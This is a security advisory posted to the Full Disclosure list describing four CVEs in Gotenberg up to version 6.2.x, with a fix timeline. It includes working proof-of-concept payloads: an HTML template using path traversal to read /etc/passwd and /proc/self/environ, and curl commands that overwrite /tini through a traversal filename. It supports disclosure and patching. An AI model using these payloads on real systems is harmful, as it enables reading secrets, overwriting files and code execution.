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Date: Wed, 30 Dec 2020 14:36:34 +0100
From: Błażej Adamczyk <blazej.adamczyk@...il.com>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] Multiple vulnerabilities in Gotenberg <= 6.2.0



1 Multiple vulnerabilities in Gotenberg <= 6.2.0
════════════════════════════════════════════════

  Multiple vulnerabilities in Gotenberg (a Docker-powered stateless API
  for converting HTML, Markdown and Office documents to PDF used as a
  microservice) version <=6.2.0 allow a remote unauthenticated attacker
  to execute any command within Docker container.

  CVSSv3.1 chained score: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

  Disclosure summary: [https://sploit.tech/2020/12/29/Gotenberg.html]

  Write-up: [https://blazej-adamczyk.medium.com/0-day-bug-breaks-multi-million-dollar-system-38c9e31b27e9]

  Exploit code: [https://github.com/br0xpl/gotenberg_hack]

  Video: [https://youtu.be/NAv8qovLtgI]


1.1 Download tirectory traversal
────────────────────────────────

  CVE: CVE-2020-13449

  Vendor: [https://www.thecodingmachine.com]

  Product: Gotenberg ([https://github.com/thecodingmachine/gotenberg])

  Version: <=6.2.1

  Description: Directory traversal vulnerability in Markdown engine of
  Gotenberg version 6.2.1 and lower allows unauthorized attacker to read
  any container files.

  PoC:
  1. Create index.html file:
     ┌────
     │ <!doctype html>
     │ <html lang="en">
     │   <head>
     │     <meta charset="utf-8">
     │     <title>My PDF</title>
     │   </head>
     │   <body>
     │     <pre style="white-space: pre-wrap;">
     │       Path:
     │       {{ .DirPath }}  
     │       PASSWD:
     │       {{ toHTML .DirPath "../../../../etc/passwd" }}
     │       IP:
     │       {{ toHTML .DirPath "../../../../proc/net/fib_trie" }}
     │       TCP:
     │       {{ toHTML .DirPath "../../../../proc/net/tcp" }}
     │       env:
     │       {{ toHTML .DirPath "../../../../proc/self/environ" }}
     │     </pre>
     │   </body>
     │ </html>
     └────
  2. Call markdown endpoint:
     ┌────
     │ $ curl 'http://$URL_GOTENBERG/convert/markdown' --form files=@...ex.html\ 
     │ -o result.pdf --header 'Content-Type: multipart/form-data'
     └────


1.2 Upload directory traversal
──────────────────────────────

  CVE: CVE-2020-13450

  Vendor: [https://www.thecodingmachine.com]

  Product: Gotenberg ([https://github.com/thecodingmachine/gotenberg])

  Version: <=6.2.1

  Description: Directory traversal vulnerability in file upload function
  of Gotenberg version 6.2.1 and lower allows unauthorized attacker to
  upload and overwrite any writeable files outside the desired folder.

  This can lead to DoS, change program behaviour or even to code
  execution (see CVE-2020-13451).

  PoC:
  ┌────
  │ curl 'http://$URL_GOTENBERG/convert/markdown' --form files=@...ex.html \
  │ --form "files=@...i;filename=../../../tini" -o res.pdf\ 
  │ --header 'Content-Type: multipart/form-data'
  └────


1.3 Code exec vulnerability using incomplete cleanup vulnerability
──────────────────────────────────────────────────────────────────

  CVE: CVE-2020-13451

  Vendor: [https://www.thecodingmachine.com]

  Product: Gotenberg ([https://github.com/thecodingmachine/gotenberg])

  Version: <=6.2.0

  Description: Incomplete cleanup vulnerability in Office rendering
  engine of Gotenberg version 6.2.1 and lower allows unauthorized
  attacker (using a different vulnerability like CVE-2020-13450) to
  overwrite libreoffice config (profile) files and execute arbitrary
  code using macros.

  Gotenberg creates libreoffice profile when office endpoint is called
  in tmp choosing a folder with a name based on random ephemeral port
  number chosen by kernel. What is most important after finishing
  request the profile folder is not removed. Thus using a file upload
  vulnerability like the one described in CVE-2020-13450 an attacker can
  modify the profile preparing a macro which is going to be executed
  next time the same random profile will be reused.

  Analyzing kernel sources, in default kernel config, there will be
  about 14115 different ports choosen at random. The hack requires to
  retry many times but works reliably.

  Exploit code: [https://github.com/br0xpl/gotenberg_hack]


1.4 Insecure permissions of main executable
───────────────────────────────────────────

  CVE: CVE-2020-13452

  Vendor: [https://www.thecodingmachine.com]

  Product: Gotenberg ([https://github.com/thecodingmachine/gotenberg])

  Version: <=6.2.1

  Description: Insecure permissions of /tini (writeable by user
  gotenberg) file potentially allows an attacker to overwrite the file
  what can lead to Deny of Service or even code execution.


2 Timeline
══════════

  • 25.05.2020 - Reported an issue:
    [[https://github.com/thecodingmachine/gotenberg/issues/199]].
  • 04.06.2020 - Author confirms the issues and works on a fix.
  • 05.06.2020 - Pull request
    [[https://github.com/thecodingmachine/gotenberg/pull/208]] created.
  • 22.06.2020 - Fix merged to version 6.3.0.


3 Credits
═════════

  Author: Blazej Adamczyk | [https://sploit.tech/]

  Team: Efigo [https://efigo.pl/]

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